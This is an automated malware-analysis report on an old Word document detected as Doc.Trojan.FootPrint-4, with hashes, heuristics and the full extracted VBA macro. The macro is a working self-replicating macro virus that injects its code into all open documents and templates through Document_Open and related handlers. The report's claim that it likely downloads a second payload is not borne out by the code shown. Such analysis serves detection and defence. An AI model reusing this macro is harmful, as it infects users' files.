Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0d4c5bbde9755ad0…

MALICIOUS

Office (OLE)

44.0 KB Created: 2000-03-27 13:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a9a221bd9a7977861b9d9b6cb4cc4c2e SHA-1: 3538da5ee8bab1cfa1ce846570772773859d4f1d SHA-256: 0d4c5bbde9755ad0097c067f77499b836308dd5816b4544d13925d1b70d9987d
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, specifically a Document_Open macro. This macro attempts to export its own code to a temporary file and then inject it into other open documents or templates. The presence of the 'Doc.Trojan.FootPrint-4' ClamAV detection strongly suggests malicious intent, likely to download and execute a secondary payload.

Heuristics 3

  • ClamAV: Doc.Trojan.FootPrint-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FootPrint-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1635 bytes
SHA-256: 4c2e608bb43db1d69c68ce4bf30567eb9602d82667b8784ffd1ea0c2db833947
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
'FootPrint
Private Sub Document_Close()
On Error Resume Next
Kill "c:\footprint.$$?"
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Dim al As String
Dim adoc As Document
Dim atpl As Template
ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\footprint.$$$"
Open "c:\footprint.$$$" For Input As #1
Open "c:\footprint.$$1" For Output As #2
Line Input #1, al
Line Input #1, al
Line Input #1, al
Line Input #1, al
While Not EOF(1)
    Line Input #1, al
    Print #2, al
Wend
Close 1
Close 2
For Each adoc In Documents
    If Not adoc.CustomDocumentProperties("FootPrint") Then
        adoc.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text = adoc.FullName
        adoc.CustomDocumentProperties.Add Name:="FootPrint", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
    End If
Next
For Each atpl In Templates
    If Not atpl.CustomDocumentProperties("FootPrint") Then
        atpl.CustomDocumentProperties.Add Name:="FootPrint", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        atpl.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
    End If
Next
End Sub

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